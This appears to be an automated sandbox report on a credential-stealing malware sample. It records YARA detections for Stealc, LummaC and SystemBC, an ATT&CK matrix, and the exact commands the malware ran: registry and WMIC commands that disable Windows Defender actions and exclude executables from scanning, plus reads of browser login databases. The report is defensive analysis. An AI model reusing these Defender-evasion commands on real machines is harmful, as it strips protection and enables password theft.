Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Process created: unknown unknown
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\gpupdate.exe "C:\Windows\system32\gpupdate.exe" /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147735503 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147814524 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147780199 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147812831 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /c powershell start-process -windowstyle hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147735503 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147814524 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147780199 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147812831 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /c powershell start-process -windowstyle hidden gpupdate.exe /force"			Jump to behavior

Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe

Code function: 5_2_022280F6 cpuid

5_2_022280F6

Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: GetLocaleInfoA,	5_2_004070B1
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	5_2_02240AB6
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	5_2_0222C8B7
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	5_2_0223394D
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	5_2_022349EA
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	5_2_02233F87

Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Queries volume information: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Queries volume information: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Queries volume information: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe

5_2_004A4C54

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 11_2_004172F0 GetUserNameA,

11_2_004172F0

Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe

Code function: 6_2_00414B04 EntryPoint,GetVersion,GetCommandLineA,GetStartupInfoA,GetModuleHandleA,

6_2_00414B04

Source: C:\Users\user\Desktop\3QKcKCEzYP.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\3QKcKCEzYP.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Go Injector

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.7ff7e1a10000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.yZBxqqQICO50PLfWYKwJeSL5.exe.7ff7e1a10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2321421770.000002404738C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2657332261.00007FF7E1E05000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2328096357.0000024045DBC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.2365640577.00007FF7E1E05000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3QKcKCEzYP.exe PID: 4032, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yZBxqqQICO50PLfWYKwJeSL5.exe PID: 6792, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\StyleControls%20VCL[1].exe, type: DROPPED

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000000B.00000002.2407758499.0000000001587000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 4896, type: MEMORYSTR

Yara detected SystemBC

Source: Yara match	File source: 8.2.6UF1Jcwj34zqEggktO7mg1WS.exe.3778a1c.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.6UF1Jcwj34zqEggktO7mg1WS.exe.376e844.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.6UF1Jcwj34zqEggktO7mg1WS.exe.3778a1c.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.6UF1Jcwj34zqEggktO7mg1WS.exe.376e844.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2609476131.0000000003776000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2609476131.000000000376B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6UF1Jcwj34zqEggktO7mg1WS.exe PID: 364, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Remote Access Functionality

Yara detected Go Injector

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.7ff7e1a10000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.yZBxqqQICO50PLfWYKwJeSL5.exe.7ff7e1a10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2321421770.000002404738C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2657332261.00007FF7E1E05000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2328096357.0000024045DBC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.2365640577.00007FF7E1E05000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3QKcKCEzYP.exe PID: 4032, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yZBxqqQICO50PLfWYKwJeSL5.exe PID: 6792, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\StyleControls%20VCL[1].exe, type: DROPPED

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000000B.00000002.2407758499.0000000001587000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 4896, type: MEMORYSTR

Yara detected SystemBC

Source: Yara match	File source: 8.2.6UF1Jcwj34zqEggktO7mg1WS.exe.3778a1c.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.6UF1Jcwj34zqEggktO7mg1WS.exe.376e844.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.6UF1Jcwj34zqEggktO7mg1WS.exe.3778a1c.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.6UF1Jcwj34zqEggktO7mg1WS.exe.376e844.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2609476131.0000000003776000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2609476131.000000000376B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6UF1Jcwj34zqEggktO7mg1WS.exe PID: 364, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	111 Disable or Modify Tools	1 OS Credential Dumping	11 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	11 Windows Service	1 DLL Side-Loading	111 Deobfuscate/Decode Files or Information	1 Credential API Hooking	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	11 Scheduled Task/Job	11 Windows Service	1 Abuse Elevation Control Mechanism	11 Input Capture	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Credential API Hooking	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	113 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	611 Process Injection	41 Obfuscated Files or Information	NTDS	36 System Information Discovery	Distributed Component Object Model	11 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	11 Scheduled Task/Job	Network Logon Script	11 Scheduled Task/Job	22 Software Packing	LSA Secrets	281 Security Software Discovery	SSH	Keylogging	124 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 Service Execution	RC Scripts	1 Registry Run Keys / Startup Folder	1 Timestomp	Cached Domain Credentials	51 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	2 PowerShell	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Modify Registry	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	51 Virtualization/Sandbox Evasion	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	611 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3QKcKCEzYP.exe	58%	ReversingLabs	Win64.Spyware.Stealc
3QKcKCEzYP.exe	55%	Virustotal		Browse
3QKcKCEzYP.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	100%	Avira	HEUR/AGEN.1317028
C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66c4c71a033c6_otr[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\setup[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66c3721bc46fe_Ernrnmkio[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\afasdfga.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66c1c5838f95f_file1808[1].exe	100%	Joe Sandbox ML
